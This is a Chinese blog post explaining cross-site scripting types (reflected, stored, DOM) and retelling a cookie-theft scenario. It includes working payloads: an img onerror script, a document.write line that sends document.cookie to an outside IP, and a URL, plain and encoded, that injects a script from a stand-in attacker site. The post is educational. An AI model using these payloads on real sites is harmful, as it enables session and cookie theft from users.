xss 是什么

Posted 2022-12-16 the-last

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了xss 是什么相关的知识，希望对你有一定的参考价值。

XSS 原名周树人浙江李大钊，XSS其实不是XSS，是CSS避免和CSS3重名，改名叫XSS（Cross site Scripting）。

准备参考这篇文章重新梳理一下什么是xss，https://juejin.im/post/5bfcc0c75188251b8a26f794

攻击的原理是什么？

想尽一切方法将一段脚本内容放到目标网站的目标浏览器上解释执行!!

里面浏览器标签的一些特性，让用户无意间执行已经被添加的恶意代码，就能浏览器做一些有攻击性的行为。

XSS 分类

反射形 xss
存储形 xss
dom形 xss

反射形，xss：

以nodejs为例，在使用query请求中如果客户端访问的是一段html代码或js脚本，传给服务端，服务端把传参又作为响应的数据

返回给客户端。客户端会执行这段代码，这样还不算是xss，

再修改一下更形象。

如果这个请求是恶意发给中间服务，中间服务做一些修改或保存这段参数，再把它返回给其他的页面请求

这段代码也会在其他页面执行，这样就很可怕。

Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src ‘strict-dynamic‘

const arr = [‘1‘, ‘2‘, ‘3‘, ‘<img src="11" onerror="console.log(window.localStorage)" />‘]
    const t = document.querySelector(‘#t‘)
    arr.forEach(item => 
      const p = document.createElement(‘p‘)
      p.innerHTML = item
      t.append(p)  // 正常操作是插入的节点会执行onerror
);

document.write("<img src=‘http://192.168.59.129:10086?c=" + escape(document.cookie) + "‘>")

现代浏览器直接回拒绝你用这样的方式操作dom文档，因为受到CSP文档安全策略的限制： https://www.cnblogs.com/the-last/p/11437732.html

反射型也叫非持续性攻击，只是单次操作攻击，维基百科描述了一个这样的故事：

Alice经常访问一个特别的网站，这个网站是Bob的，他允许Alice用用户名密码登录，而且会有一些敏感信息比如交易信息，当用户登录后浏览器会保持认证信息，服务端和客户端都有Alice登录的记录。

有一天，Mallory发现Bob的网站有易遭攻击的风险

Mallory用搜索到这个网站的主页，输入input值并提及，会有一个类似这样的URL：http://bobssite.org/search?q=her%20search%20term

但是在输入一些网站不能响应的书时，他会返回：xxx not found，比如：http://bobssite.org/search?q=puppies，返回 puppies not found

然后 Mallory想到一个坏主意，他将输入换成了HTML字符串，例如：‘<script type=‘application/javascript‘>alert(‘xss‘);</script>‘

这样服务器返回给客户端的时候，会在页面插入这个标签，并执行，客户端会出现一个弹框，内容是：xss。

然后 Mallory又进一步修改了传参，他把puppies改成了恶意脚本的链接，http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>

客户端解析这个返回值，就会创建script标签，请求这个恶意的脚本，你的网站就被攻击了。

Mallory又进一步把链接加密改成了不容易被发现的格式：

http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E

更近一步，Mallory吧这个链接用e-mail给了Alice，Alice看到是Bob的网站，就点开了只是返回一个puppies not found，也并没有在意，单此时Alice的浏览器上的cookie信息交易信息，Mallory都已经能获取到了，恶意脚本注入成功，开始用真实用户的认证信息，交易信息，做一些一个违法的事情。

那应该如何避免这样的违法的事情发生呢？